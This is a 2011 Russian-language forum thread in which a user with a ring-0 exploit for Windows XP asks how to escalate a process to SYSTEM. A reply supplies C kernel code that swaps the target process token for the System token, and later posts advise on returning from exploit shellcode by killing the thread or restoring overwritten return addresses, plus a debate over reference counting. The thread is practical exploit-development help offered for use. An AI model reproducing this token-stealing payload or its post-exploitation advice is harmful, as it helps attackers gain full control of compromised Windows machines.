Получения system привилегий

Тема в разделе "WASM.NT.KERNEL", создана пользователем СFF, 6 янв 2011.

  1. СFF

    СFF PP

    Публикаций:
    0
    Регистрация:
    16 янв 2009
    Сообщения:
    233
    Народ прошу помощи. Вообщем есть сплойт, я попадаю в ринг0. Все это только на XP SP1,2,3. Нужно поднять права процесса до system, как сделать это из ring0.

    Буду признателен любым материалам.
     
  2. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    Скопируй себе токен

    У меня есть конечно код, но давать не хочу :)
     
  3. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    Примерно так:
    Код (Text):
    1. PEPROCESS TargetProcess, SystemProcess;
    2. PACCESS_TOKEN SystemToken, TargetToken;
    3. NTSTATUS Status;
    4. PULONG pUlong;
    5. const DWORD MaxExpectedEprocessSize = 0x400;
    6. ULONG i;
    7.  
    8. SystemProcess = *(PEPROCESS*)PsInitialSystemProcess;
    9. Status = PsLookupProcessByProcessId (dwProcessId, &TargetProcess);
    10. if (NT_SUCCESS (Status))
    11. {
    12.     SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken (SystemProcess);
    13.     TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken (TargetProcess);
    14.  
    15.     *(ULONG*)TargetToken &= 0xFFFFFFF8; // zero three lowest bits
    16.  
    17.     for (i = 0; i < MaxExpectedEprocessSize; i ++)
    18.     {
    19.         pUlong = (PULONG)((PCHAR)TargetProcess + i);
    20.  
    21.         if ( (*pUlong & 0xFFFFFFF8) == (ULONG)TargetToken)
    22.         {
    23.             *pUlong = (ULONG)SystemToken;
    24.             ObfDereferenceObject (TargetProcess);
    25.             break;
    26.         }
    27.     }
    28. }
     
  4. СFF

    СFF PP

    Публикаций:
    0
    Регистрация:
    16 янв 2009
    Сообщения:
    233
    :) Спасибо это мне известно, я шеллкоде уже нашел, просто хотел посмотреть нюансы разработки и все, а имено как назад в ринг 3 попасть, что без глюков. Шеллкоде выполняетца при IRQL==0 (PASSIVE_LEVEL)
     
  5. СFF

    СFF PP

    Публикаций:
    0
    Регистрация:
    16 янв 2009
    Сообщения:
    233
    благодарен за код
     
  6. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    СFF
    Назад? Ну например убить процесс родитель юзая ZwTerminateProcess.
    Могут быть проблемы с KTHREAD и с KTRAP_FRAME и с KTSS.
    Я не знаю что у вас за сплоит. Отлаживайте, смотрите отладчик и поймете в чем дело.
     
  7. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    Варианта обычно два:
    1. Никак, после исполнения шеллкода поток/процесс завершается/саспендится.
    2. Восстановление затёртых адресов возврата и EBP с последующим нормальным возвратом из уязвимой функции.
     
  8. СFF

    СFF PP

    Публикаций:
    0
    Регистрация:
    16 янв 2009
    Сообщения:
    233
    Можно поподробней с кодом плз
     
  9. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    http://undocumented.ntinternals.net...ns/NT Objects/Process/NtTerminateProcess.html

    http://undocumented.ntinternals.net...ions/NT Objects/Thread/NtTerminateThread.html

    http://www.osronline.com/ddkx/kmarch/k105_7epe.htm
     
  10. СFF

    СFF PP

    Публикаций:
    0
    Регистрация:
    16 янв 2009
    Сообщения:
    233
    спасибо это более чем достаточно
     
  11. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    TermoSINteZ
    Код (Text):
    1.        if ( (*pUlong & 0xFFFFFFF8) == (ULONG)TargetToken)
    2.         {
    3.             *pUlong = (ULONG)SystemToken;
    4.             ObfDereferenceObject (TargetProcess);
    5.             break;
    6.         }
    А разве ObfDereferenceObject надо делать не для полученного TOKEN'а?
     
  12. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    Mika0x65
    А почему нет? Раз получили объект токена через PsReferencePrimaryToken, потом он не нужен, нужно дерефнуть. Ну по правилам хорошего тона конечно же.
     
  13. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    TermoSINteZ
    Не, я к тому, что ObfDereferenceObject надо делать не для EPROCESS, а для самого _TOKEN'а. А для своего TOKEN'а, вероятно, надо два раза сделать, т.к. все равно мы на него не ссылаемся уже.
     
  14. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    Mika0x65
    А. Не уверен. Возможно надо вызвать PsDereferencePrimaryToken как миниум 1 раз.
     
  15. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Скопировать токен приват?)